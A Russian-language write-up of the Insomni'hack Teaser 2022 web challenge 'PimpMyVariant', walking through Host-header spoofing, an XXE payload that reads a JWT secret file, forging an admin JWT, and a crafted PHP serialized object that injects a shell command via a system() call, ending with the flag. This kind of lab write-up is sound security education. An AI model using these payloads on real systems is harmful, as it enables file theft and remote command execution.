Insomni’hack Teaser 2022 (PimpMyVariant)

Web category — PimpMyVariant.

Challenge.

Points: 76
Solves: 77
Seen as it went, why not guess the next variant name : pimpmyvariant.insomnihack.ch

Решение.

К сожалению во время соревнования не успел решить это задание, но был буквально в одном шаге от получения флага. Так что всё же решил опубликовать райт ап.

На главной странице веб сайта нет абсолютно ничего, кроме списка букв греческого алфавита.

main

В сурс коде тоже ничего интересного, значит пробуем посмотреть директорию robots.txt.

robots.txt

Получаем 5 новых эндпоинтов. В директориях flag.txt и todo.txt ничего интерсеного, так что смотрим readme.

Директория readme

readme1

На ресурсе говорится, что имя хоста не разрешено. Перехватываем запрос в BurpSuite, и пробуем поменять заголовок Host: pimpmyvariant.insomnihack.ch на Host: 127.0.0.1. Чтобы каждый раз не менять заголовок Host, в BurpSuite во вкладке Proxy -> Options -> Match and Replace добавляем правило, чтобы Burp автоматически заменял заголовок Host: pimpmyvariant.insomnihack.ch на Host: 127.0.0.1 если находит его в запросе.

burp1

readme2

Узнаём, что секретный ключ, которым подписываются JWT токены лежит в /www/jwt.secret.txt. Узнав его, мы сможем как угодно менять параметры в теле JWT токена.

Директория new

new

Пробуем отправить рандомные значения (test), и посмотреть на запрос в BurpSuite.

burp2

Как видно, данные отправляются в XML формате. К тому же нам выдаётся тот самый JWT токен и нас редиректит на главную страницу. На главной странице появляется в конце списка наша отправленная строка.

main_after_new

Если данные отправляются в XML формате, значит можно попробовать XXE атаку. Пробуем перехватить запрос и меняем тело запрос на следующее:

<?xml version='1.0' encoding='utf-8'?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "/www/jwt.secret.txt"> ]>
<root><name>&xxe;</name></root>

В ответе сервер сообщает Variant name added!, и на главной странице появляется наш секретный ключ для подписи JWT:

54b163783c46881f1fe7ee05f90334aa

Попробовал получить значение из /www/flag.txt, но сервер вернул в ответ — Invalid variant name ! Allowed only ^[A-Za-z0-9 -_]{1,33}$

Попробуем расшифровать JWT токен. Я всегда это делаю на сайте https://jwt.io/.

jwt1

Как видно в теле три параметра:

  1. variants — список который отображается на главной странице
  2. settings — сериализованные данные (которые нам интереснее всего)
  3. exp — время до которого токен действителен

Сейчас внутри settings параметр isAdmin равен false. Сделаем его равным true и подпишем ключом JWT. И теперь с новым JWT токеном перейти в директорию /log. Со старым токеном писало, что доступ есть только у админа.

Директория log

log1

Из этой ошибки узнаём, о новом эндпоинте /www/UpdateLogViewer.inc, пробуем его скачать по ссылке — http://pimpmyvariant.insomnihack.ch/UpdateLogViewer.inc.

Заметка. Хоть в этом файле и PHP код, так как расширение у него не .php, то он вместо того, чтобы рендериться веб сайтом, просто качается.

UpdateLogViewer.inc

<?php

class UpdateLogViewer
{
    public string $packgeName;
    public string $logCmdReader;
    private static ?UpdateLogViewer $singleton = null;

    private function __construct(string $packgeName)
    {
        $this->packgeName = $packgeName;
        $this->logCmdReader = 'cat';
    }

    public static function instance() : UpdateLogViewer
    {
        if( !isset(self::$singleton) || self::$singleton === null ){
            $c = __CLASS__;
            self::$singleton = new $c("$c");
        }
        return self::$singleton;
    }

    public static function read():string
    {
        return system(self::logFile());
    }

    public static function logFile():string
    {
        return self::instance()->logCmdReader.' /var/log/UpdateLogViewer_'.self::instance()->packgeName.'.log';
    }

    public function __wakeup()// serialize
    {
        self::$singleton = $this; 
    }
};

Последний шаг. PHP Object Injection.

Из интересного в этом файле, то что в методе read(), вызывается системная функция — system(). Учитывая, что в JWT токене были сериализованные данные, делаем вывод, что тут атака PHP Object Injection или конкретнее — PHP Deserialization Vulnerability.

Мы можем контролировать переменные — $packgeName и $logCmdReader. По дефолту код пытается выполнить что-то типа — cat /var/log/UpdateLogViewer_${packgeName}.log. И так как команда cat хранится в переменной $logCmdReader, то можно получить примерно следующее — cat *; /var/log/UpdateLogViewer_${packgeName}.log. Для этого нужно создать сериализованный объект.

Для начала объясню как выглядит сериализованный объект и что в нем за что отвечает. Возьмём, то что было записано JWT в settings:
a:1:{i:0;O:4:"User":3:{s:4:"name";s:4:"Anon";s:7:"isAdmin";b:1;s:2:"id";s:40:"4e2dc98c14e1087091352fcca515608e2958e12e";}}

  • a:<кол-во элементов>:{Элементы} — указывает кол-во элементов внутри
    a:1:{...} — то есть у нас внутри 1 объект
  • i:<int число>; — указывает номер объекта
    i:0; — номера в массиве начинаются с нуля
  • O:<длина имени объекта>:<Имя класса>:<кол-во сущностей в классе>:{параметры}
    O:4:"User":3:{} — то есть у нас класс User и внутри у него 3 параметра
  • s:<длина параметра>:<название параметра>;s:<длина значения параметра>:<значение параметра>
    s:4:"name";s:4:"Anon"; — то есть у параметра name значение — Anon.
    Далее менятся могут только типы данных, где:
  • d:Float
  • b:Boolean
  • i:Integer

А мы хотим добавить сериализованный объект в которым будем обращаться к классу UpdateLogViewer, а параметры будут $packgeName и $logCmdReader. В итоге получаем, что-то типа такого:
a:2:{i:0;O:4:"User":3:{s:4:"name";s:4:"Anon";s:7:"isAdmin";b:1;s:2:"id";s:4:"1234";}i:1;O:15:"UpdateLogViewer":2:{s:10:"packgeName";s:4:"test";s:12:"logCmdReader";s:18:"cat /www/flag.txt;";}}

Эскейпим двойные кавычки и вставляем в параметр "settings" JWT токена:

jwt2

Заходим в /log и получаем заветный флаг:

flag

🚩INS{P!mpmYV4rianThat’s1flag} 🚩

Всем спасибо за участие!

Полезные ресурсы:

Оставьте комментарий